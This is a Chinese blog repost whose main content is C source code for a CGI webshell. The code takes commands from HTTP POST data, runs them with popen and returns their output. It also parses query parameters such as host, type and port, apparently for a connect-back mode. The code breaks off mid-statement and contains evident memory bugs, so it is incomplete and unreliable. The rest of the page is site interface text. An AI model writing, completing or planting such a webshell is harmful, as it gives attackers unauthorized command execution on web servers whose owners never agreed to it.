Linux C代码实现cgi shell

C语言实现cgi webshell

#include <stdio.h>
#include <stdio.h>
#include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <signal.h> struct get_data {  char key[100];  char value[100]; }; void exec_cmd(void){  printf("Content-type:text/html\n\n");  FILE *command;  int size = atoi(getenv("CONTENT_LENGTH"));  if(size > 1500) {   printf("Error> Post Data is very big");   exit(0);  }  char *buffer = malloc(size+1);  fread(buffer,1,size,stdin);  command = popen(buffer,"r");  char caracter;  while((caracter = fgetc(command))){   if(caracter == EOF) break;   printf("%c",caracter);  }  pclose(command);  free(buffer);  exit(0); } int error(char *err){  perror(err);  exit(EXIT_FAILURE); } void parser_get(void){  printf("Content-type:text/html\n\n");  struct get_data *s;  char *GET = (char *)getenv("QUERY_STRING");  int i,number_of_get = 0,size_get = strlen(GET);  if(strlen(GET) > 100)   exit(0);  s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));  int element = 0;  int positionA = 0;  int positionB = 0;  int id = 0;  for(i=0;i<size_get;i++){   if(GET[i] == '='){    id = 1;    s[element].key[positionA] = '\0';    positionB = 0;    continue;   }   if(GET[i] == '&'){    id = 0;    s[element].key[positionA] = '\0';    s[element].value[positionB] = '\0';    positionA = 0;    positionB = 0;    element++;    continue;   }   if(id==0){    s[element].key[positionA] = GET[i];    positionA++;   }   if(id==1){    s[element].value[positionB] = GET[i];    positionB++;   }   if(i == size_get-1 && GET[size_get-1] != '&'){    s[element].key[positionA] = '\0';    s[element].value[positionB] = '\0';    element++;    continue;   }  }  char *host_x = (char *)malloc(100);  host_x = NULL;  char *type_x = (char *)malloc(100);  type_x = NULL;  int port_x = 0;  for(i=0;i<element;i++){   if(strcmp(s[i].key,"type")=

转载于:https://www.cnblogs.com/haoboke/p/4367889.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值